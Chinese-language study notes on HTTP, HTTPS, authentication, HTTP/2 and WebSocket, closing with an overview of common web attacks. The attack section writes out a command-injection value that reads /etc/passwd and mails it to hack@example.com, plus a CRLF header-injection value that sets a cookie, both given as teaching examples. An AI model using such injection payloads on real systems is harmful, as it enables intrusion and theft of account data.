首页 > 代码库 > HTTP
HTTP
HTTP概述
HTTP协议规定。一定是client開始建立通信的,也就是说请求一定是从client发出。server端响应请求,server端在没有接收到请求的时候是不会有响应的。
HTTP的请求报文由下面几部分构成:
方法 URI 协议版本号
POST /form/entry HTTP/1.1
请求首部字段
Host :baidu.com
Connection:keep-alive
Content-Type:application/……
Content-Length:16
请求实体
name=asdf&age=32
HTTP的响应报文则由下面几部分构成:
server端协议版本号 状态码 状态码描写叙述
HTTP/1.1 200 OK
响应首部字段
Date:Tue, 10 Jul 2010 06:50:15 GMT
Content-Length:2134
Content_Type: text/html
主体
<’html’>……………
HTTP是无状态协议,即每次有新的请求就会产生新的响应
HTTP1.1中全部的连接默认都是持久连接,即仅仅要随意一端没有提出断开连接。则保持TCP连接状态。这样全部的HTTP请求就能够在一个TCP连接中同一时候发送,不必每次都要等待上一个TCP的回应了。
HTTP中的方法
- GET 用来请求訪问已经被URI识别的资源,指定的资源经过server解析后返回响应的内容。GET方法是默认的HTTP请求方法。然而用GET方法提交的表单数据仅仅经过了简单的编码,同一时候它将作为URL的一部分向Webserver发送,因此。假设使用GET方法来提交表单数据就存在着安全隐患,同一时候提交的数据量不能太大。
- HEAD 相似于get请求,仅仅只是返回的响应中没有具体的内容,用于获取报头
- POST 向指定资源提交数据进行处理请求(比如提交表单或者上传文件)。数据被包括在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的改动。
- PUT 从client向server传送的数据代替指定的文档的内容。
- DELETE 请求server删除指定的页面。
- CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理server。
格式为:CONNECT 代理server名 :port号 HTTP版本号在代理server响应请求后即进入网络隧道。
- OPTIONS 同意client查看server支持哪些请求方法。
- TRACE 回显server收到的请求,主要用于測试或诊断。请求可能会到达多个server。这个TRACE请求就会在到达每一个server时发回本server收到的请求。
HTTP状态码
状态码的第一位代表状态码的类别,这个是强制标准。后两位有一些有约定俗称的规定最好遵守,剩下的server自己创建自己要用的状态码都没有问题。
- 2XX 成功:代表server接收到的请求已经成功处理。
204:无可返回内容;206:接受到对资源一部分内容的请求。
- 3XX 重定向:代表浏览器的请求须要做一些调整。301:永久性重定向。表示如今所请求的资源已经永久的被分配到新的URI。302:暂时性重定向。303:当前请求的资源存在着另外一个URI,希望浏览器以GET方法重定向到还有一个URI上。304:当client发送附带条件的请求时。server端资源已经找到。可是并不符合条件(比方请求某一时间后更新的页面,可是server在这个时间点后并没有更新过页面。那么返回304。浏览器就能够使用自己的缓存了);307:和302差点儿相同。
- 4XX client错误:代表是client的请求出现了问题。401:表示訪问需认证。403:表示訪问被拒绝;404:没有这个资源。
- 5XX server端错误。500:内部错误,server内有bug或者什么暂时故障。503:超载或正在维护。
为HTTP服务的那些Webserver
httpserver能够搭建多个Web站点,每一个Web站点对应一个虚拟主机,这些站点能够有不同的域名。当DNS解析这些域名的时候,都会指向同一个server的IP。server通过HTTP请求中的Host首部中的完整域名来把请求发送到不同的虚拟主机。
与之配合的还有代理,网关。隧道,缓存server等。
HTTP首部字段
在HTTP报文中首部字段是非常重要的,给client和server提供了传输和处理数据的重要信息。在HTTP请求报文中有:请求行(方法、URI、HTTP版本号)、请求首部字段、通用首部字段、实体首部字段。
在HTTP响应报文中有:状态行(HTTP版本号、状态码)、响应首部字段、通用首部字段、实体首部字段。
端到端首部和逐跳首部
端到端首部会转发给请求或响应的终于接收目标,逐跳首部则在单次转发中有效。
各首部字段的具体描写叙述
上面的链接供大家參考
具体记录一下有关cookie的首部字段,在server准备開始管理client状态的时候,就会发送set-cookie字段给client。
set-cookie有这么几个属性:
- NAME:赋予cookie的名称和其值。这是set-cookie里唯一一个必须要有的项
- expires:cookie的有效期。假设不指定就默认仅仅在这一个浏览器回话内有效,也就是在浏览器被关闭之前
- path:这个属性用来限制cookie发送到server上的哪个文件夹。比方path=/foo。那么在訪问www.XXXX.com/foo的时候cookie会被发送
- domain:指定cookie被发送到哪台计算机上。正常情况下。cookie仅仅被送回最初向用户发送cookie 的计算机。假设你设置了domain。cookie 会被发送到不论什么在这个域中的主机。假设domain 被设为空。domain 就被设置为和提供cookie 的Web server同样。假设domain不为空,而且它的值又和提供cookie的Webserver域名不符。这个Cookie将被忽略。
- secure:这个属性被设置意味着cookie仅仅能通过https发送
- HttpOnly:这个属性使javascript无法获得Cookie,从而防止XSS跨站脚本攻击对Cookie的获取。
client在訪问站点时假设发现符合已经收到的set-cookie里的要求的url,就会把收到的cookie发送回去
HTTPS
HTTP存在的问题
使用明文进行通信,内容会被窃听
在现有的网络架构下,人们能够从互联网的不论什么一个节点获取到流经这个节点的HTTP请求。
内容假设是不加密的,那就意味着你的信息并不安全。解决的方法就是使用内容加密。
如今使用的最广泛的就是SSL加TLS。
不验证通信方的身份。可能遭遇伪装
不论什么人都能够发出请求。不论什么人都能够拦截请求发出响应。
对此的办法就是使用第三方颁发的证书来验证server和client的身份。
无法验证报文的完整性,有可能在发送的过程中已经遭到篡改
仅靠HTTP协议来保证报文的完整性是不现实的,须要和其它协议共同工作。
HTTPS=HTTP+加密+认证+完整性保护
SSL
SSL为HTTP提供了以上全部问题的解决方式。
曾经数据通过HTTP->TCP->IP的处理。如今则多了一层HTTP->SSL->TCP->IP。
SSL并非是HTTP独占。在非常多其它的网络应用中同样能够使用。
共享密钥和公开密钥
共享密钥是通过同样的密钥来对数据进行加密和解密,这就涉及到一个密钥传输的问题,假设使用同样的密钥进行加密解密,就势必意味着密钥要在加密和解密的两方进行传递。那么假设我能够安全的进行密钥的传输。我就也能安全的数据传输,就不须要加密了。反之,加密也没用。
于是就有人开发出了公开密钥加密体系。在这个体系中。加密使用的密钥是公开的。使用公钥进行加密后,使用不公开的私钥进行解密。这样一来,信息的接收方把公钥公布在网上而私钥自己持有,信息的发送方使用公钥进行数据的加密并发送,接收方使用自己的私钥进行解密。就攻克了这个问题。
只是这种机制存在两个问题,一个是公钥的合法性。我们不知道这个公钥是不是真正的信息接收方发送的真正的密钥。二是假设每次通信都使用这个方案进行加密开销非常大。
对于第二个问题HTTPS的解决的方法是使用公开密钥传送共享密钥。以后两方的通信使用共享密钥加密。
第一个问题就是使用证书了。
公开密钥证书
公开密钥证书是由可信赖的第三方权威机构颁发的。
server运营的公司会向这些机构申请公钥证书。申请下来的证书包括这个公钥和认证机构使用自己的私钥制作的数字签名。在client收到这个公钥证书的时候,就使用权威机构的公钥来解密这个证书,解密成功了就觉得这个公钥是可信的。这就又有一个问题,这个权威机构的公钥怎么传输,解决的方法就是将各经常使用认证机构的证书事先放在浏览器中。
当然为了确认client的身份也有client证书,帮助server端来确认这个client始终是这个client。由于费用和便利性等问题,这个证书仅仅用在安全性较高的应用中。比方网银。
Message Authentication Code
这是在整个HTTPS会话中,应用层在发送报文时为报文加上的报文摘要。简称MAC,MAC能够查知报文是否被遭到篡改,从而保护报文的完整性。
HTTPS通信步骤
- client通过发送Client Hello报文来開始SSL通信。报文中包括client支持的SSL版本号。一个client生成的随机数(Client random),加密组件(算法及密钥长度等)。
- server可进行SSL通信时,发送Server Hello报文作为应答,在报文中发送server端的SSL版本号和经过筛选的加密组件以及一个server生成的随机数(Server random)。
- server发送Certificate报文,包括公钥。
- server发送Server Hello Done。SSL最初握手协商部分结束。
- client收到公钥证书,验证成功后取出公钥,使用公钥对自己刚生成的pre-master secret随机password串进行加密,并放在Client Key Exchange报文中发送给server端。
- client发送Change Cipher Spec报文,提示server以后全部的报文都通过pre-master secret随机password串进行加密。
- client发送Finished报文。包括之前全部报文的总体校验值,server必须正确解密这个报文,握手才成功。
- server也会发送Change Cipher Spec,Finished报文。
- 两方的Finished报文交换完毕后,握手成功,client和server使用以上三个随机数生成接下来全部SSL通信使用的session key。
身份认证方式
这是server端认证client的方式。
BASIC认证
这个认证就是在收到server返回的401须要授权状态码的时候将用户输入的ID和password用Base64方式编码后发送给server。这种编码方式基本就是明文,非常不安全。
DIGEST认证
这种认证办法就略微安全一些,在server收到client的请求后。随401返回一个暂时质询码。client依据这个暂时质询码。用户的password及对应的算法生成响应码发回给server端。相对来说安全了一些,只是仅仅是防止了password被窃听。并不能防止用户伪装。也就是说。假设用户的username和password被盗,就没有办法阻止第三方冒充。
SSL认证
这里说的是SSLclient认证。首先须要将client证书分发给客户且client安装了这个证书。
通信时server会以Certificate Request报文要求client提供client证书。用户选择发送后就会把证书以Client Certificate报文方式发送给server。server确认证书无误后领取证书中的公钥開始HTTPS通信。
一般SSL认证都採取password加证书的方式来验证。
也就是验证规定的人在规定的client登录。
基于表单的认证及Session管理
由于BASIC与DIGEST并不安全。SSL又有较高的购买证书的成本。所以大多数的Web应用都使用基于表单的认证。
client将用户填的表单放在报文的实体部分,通常以POST请求发送给server。
当然这里的数据交换是使用HTTPS的。
server端验证client发来的登录信息,然后把用户的认证状态和SessionID绑定后纪录在server端。向client返回响应时将SessionID放在Set-Cookie中返回。SessionID必须妥善传输与保存,别人拿到了SessionID就相当于拿到了你的通行证。
保证SessionID安全的措施有:SessionID有有效期。SessionID生成的时候非常复杂;使用HTTPS传送;在Cookie上添加httponly属性防止JS获取Cookie防止XSS。
client拿到SessionID后会存下。下次向这个server发送请求时会带上这个SessionID。
关于server端password的保存
server保存客户的password通常先给password加盐。在用hash函数计算出散列值之后保存。
加盐就是随机生成一个足够长的字符串,与password串进行拼接。这样就算两个人或同一个人在不同站点的password同样,加盐后也不同了。
基于HTTP的功能添加协议们
HTTP的瓶颈
- 一条链接上仅仅能发送一个请求
- 请求仅仅能从client開始,client仅仅能接收响应
- 首部冗长,反复,非强制压缩
Ajax
Ajax的核心就是使用JS语句调用XMLHttpRequest的API直接与server进行HTTP通信。这样就能从载入完毕的页面向server发起请求,仅仅更新局部页面。可是这并没有解决HTTP本身的问题。每一次Ajax请求依然存在着上述问题。
Comet
client向server发送确认是否有更新内容的请求,server不会进行马上的响应,而是等着内容真的有更新的时候将响应发回,理论上做到了实时更新内容,可是为了保留响应,一次连接的时间变长了,期间为了维持连接也消耗了很多其它的资源。
仍未解决HTTP的根本问题。
SPDY
HTTP的根本性改善一定是在协议层面上的。
Google提出来SPYD。
SPYD并未全然改写HTTP仅仅是在HTTP(应用层)和SSL(表示层)之间加了SPYD(会话层)。SPYD提供了下面几个功能:
- 多路复用:通过单一的TCP连接能够并发处理无限制个HTTP请求
- 赋予请求优先级:给请求逐个分配优先级
- 压缩HTTP首部:降低通信字节
- 推送功能:支持server主动向client推送数据,不必等待client请求
- server提示功能:server能够主动提示client请求某些资源,并提前缓存资源
WebSocket
WebSocket是一套新的协议及API。实现Webserver与Web浏览器的全双工通信。一旦server与client之间建立起来WebSocket的连接,之后全部的通信都通过这个专用协议进行。
能够互相发送JSON,XML。HTML或图片等随意格式的数据。WebSocket是建立在HTTP基础上的协议,所以连接的发起方仍然是client。一旦确立WebSocket连接。随意一方都能够直接向对方发送报文。
为了实现WebSocket通信。须要在client发送请求时在HTTP的Upgrade字段写上协议的变化:
Upgrade: web socket
Sec-WebSocket-Key:odhfiwfiqugwefhnwloihbi==
Sec-WebSocket-Protocol:chat,superchat
Sec-WebSocket-Version: 13
server收到这种请求时返回101协议改变状态码。以及对应字段的值。
这样就算握手成功了,之后通信採用WebSocket独立的数据帧。
JS能够调用WebSocket API
var socket = new WebSocket(‘ws://game.example.com:12010/updates‘);
socket.onopen = function(){
socket.send(getUpdateData());
};
HTTP/2.0
HTTP/2.0主要环绕7项技术来进行讨论。以三个协议为基础:SPYD、HTTP Speed+Mobility和Network-Friendly HTTP Upgrade。
- 压缩:SPYD、Network-Friendly HTTP Upgrade
- 多路复用:SPYD
- TLS义务化:HTTP Speed+Mobility
- 协商:HTTP Speed+Mobility、Network-Friendly HTTP Upgrade
- Client Pull/Server Push:HTTP Speed+Mobility
- 流量控制:SPYD
- WebSocket:HTTP Speed+Mobility
在HTTP/2.0中,并不会改变现有的HTTP 语义,HTTP 方法、状态码、URI 及首部字段。主要将改变聚焦在性能的提高上:改进传输性能,实现低延迟和高吞吐量。对于应用的开发人员来说这是好事,意味着并不用改动非常多就能够用上性能更高的新一代协议。
二进制分帧
2.0最核心的性能增强在二进制分帧,它将全部传输的信息切割为更小的消息和帧并採用二进制格式的编码,当中1.0中国的首部会被封装到Headers帧。请求和响应实体会被封装到data帧。全部通信在一个连接上完毕,这个链接能够承载随意数量的双向数据流,每一个数据流以消息的形式发送,消息由一个或多个帧组成。帧能够乱序发送,最后依据每一个帧首部的标识符又一次组装。这就意味着每一个二进制帧都要有头部信息,否则最后无法组装。
那么首部就须要压缩优化,否则。
。
。
。。
首部压缩
在2.0中。server和client同一时候使用首部表来维护首部的键值对,每次通信仅仅发送与上次首部中内容不一样的部分,所以像是用户代理等等差点儿不会发生变化的首部内容仅仅发送一次,这也就意味着有时首部的开销是0哦。
一个连接处理全部请求
比方你请求一个页面。这个页面上全部的HTTP请求都是在这一个TCP连接中完毕的。
还记得合并文件和Sprite合图嘛,就是把小js和css文件合在一个文件中。各种小图合在一个Sprite图里,以降低HTTP请求。
这个在HTTP/2.0里再也不用管啦~
TCP在长时间传输大块数据时效率比較高。然而HTTP的特点是突发,数据量小。这时为每一个HTTP通信建立一个TCP连接显然就不划算了。要有效的使用TCP连接。就将HTTP通信放在一个连接里咯。这样做就使上面这类资源合并降低请求的优化手段显得没有必要了。
并行双向字节流的请求和响应
在HTTP/2.0上。client和server能够把HTTP消息分解为互不依赖的帧,然后乱序发送,最后再在还有一端把它们又一次组合起来。这也就意味着:能够并行交错地发送请求,请求之间互不影响。
能够并行交错地发送响应。响应之间互不干扰。
仅仅使用一个连接就可以并行发送多个请求和响应。消除不必要的延迟。从而降低页面载入的时间。
请求优先级
在乱序发送请求和响应的过程中,有时你想要优先收到某些响应,比方先收HTML文件再收img。这时你就能够将HTML的优先值设高一点。但这个优先并非绝对的。仅仅是会在有条件的情况下优先。否则就又成了顺序请求从而造成堵塞了。
server推送
HTTP/2.0中server能够对一个client请求发送多个响应,这也就意味着server能够额外像client推送资源。
Web的攻击技术
输出值转义不全然
跨站脚本攻击
说白了就是通过在訪问有漏洞的站点的用户的浏览器中运行非法的HTML标签或者JS代码。通常通过用户输入或URL请求动态创建的HTML页面easy出现这个漏洞。攻击者能够诱骗用户发送含有恶意代码的URL,在用户得到返回的HTML时,恶意代码也就运行了。
SQL注入攻击
和上面的原理差点儿相同,有的站点将URL的參数作为查询条件等直接写入SQL语句。
这样通过巧妙的拼凑可能会使server运行不应运行的操作。
OS命令注入攻击
有的Web应用是能够通过调用Shell命令来运行操作系统命令的。这时假设不注意的话。有可能会被强行植入恶意OS命令。
比方一个邮件应用。运行这个命令:
open(MAIL,"| /usr/sbine/sendmail $adr")//当中$adr是用户输入的邮件地址
攻击者假设输入这么一段地址:
; cat /etc/passwd | mail hack@example.com
而server端并没有验证这是否是一个有效的Email地址就直接运行时,这个命令就变成了这样:
| /usr/sbine/sendmail ; cat /etc/passwd | mail hack@example.com
含有账户信息的/etc/passwd就被发到指定文件夹了。
HTTP首部注入攻击
顾名思义就是改动HTTP首部的攻击。原理也非常easy,利用有些Web应用会使用URL參数或用户输入来生成HTTP首部的某些字段,攻击者在这些值后面加上“%0D%0A”也就是换行符,再跟上恶意头部键值对,比方”Set-Cookie:+SID=134”,那么首部就被插入了一个意外值。在这里,用户的Cookie被设置为了攻击者想设置的值。为会话固定攻击打下了基础。
HTTP响应截断
刚才是插入一个换行符,假设插入两个。就能够伪造响应主体部分了。
邮件首部注入攻击
假设在邮件地址栏填入asdfasdf@asd.com%0D%0AText Message,就把邮件内容改为了Text Message。
和HTTP首部注入一个原理。利用换行符代表分隔符这个特性。
文件夹遍历攻击
有些时候Web应用通过用户指定的文件夹来訪问资源,这里一不注意就可能被发现能够使用../等操作符訪问到不想开放的文件夹上。
远程文件包括漏洞
这是老版本号PHP的漏洞。原理就是使用PHP的include能够包括跨域的文件这个特性,将恶意代码包括进来。
设置或设计上的缺陷
强制浏览
这个就是说有一些资源是通过认证的用户才干够浏览的,比方一片私人的博客。可是里面的图片。假设你能得到它的URL,直接訪问这个URL就能訪问到这张本来是须要授权才干看的图片。
不对的错误消息处理
有些报错是不须要对用户显示的,比方数据库语句错误,server错误等。
对用户没用,但有心人 可能会以此判断出潜在的漏洞。
开放重定向
站点假设开放重定向功能就意味着能够跳转到随意指定的URL。这就可能被利用跳转到恶意站点。
会话管理疏忽
会话劫持
通过XSS等攻击从用户的Cookie里盗取会话ID。利用此会话ID伪装成用户。
会话固定攻击
强制用户使用攻击者指定的会话ID。首先攻击者訪问server拿到一个会话ID。此时这个ID还没有认证,将这个会话ID强制给用户A(HTTP头部注入攻击之前提到过)。用户A在不知情的情况下使用这个ID到server认证,用户A和这个ID绑定了,之后攻击者就能够使用这个ID来冒充用户A了。
跨站点请求伪造
攻击者通过以设置好的陷阱。强制对已完毕的用户进行非预期的操作。比方通过已经认证的用户登录他的帐号发评论等等。被攻击的用户拥有合法的会话ID,攻击者通过篡改用户的HTTP请求,利用用户的合法ID做出操作。
其它
password破解
试错:穷举法,字典攻击;
对已加密password的破解:
已加密的意思是攻击者获取到了直接算了散列的password或加盐散列的password。
通过穷举。字典来算散列对比;
彩虹表直接对比
拿到密钥
加密算法漏洞
点击劫持
利用透明页面,诱使用户点击看不到的button
DoS攻击
大量合法请求使server停止服务。多台计算机发起的就是DDoS
后门程序
啊哦
HTTP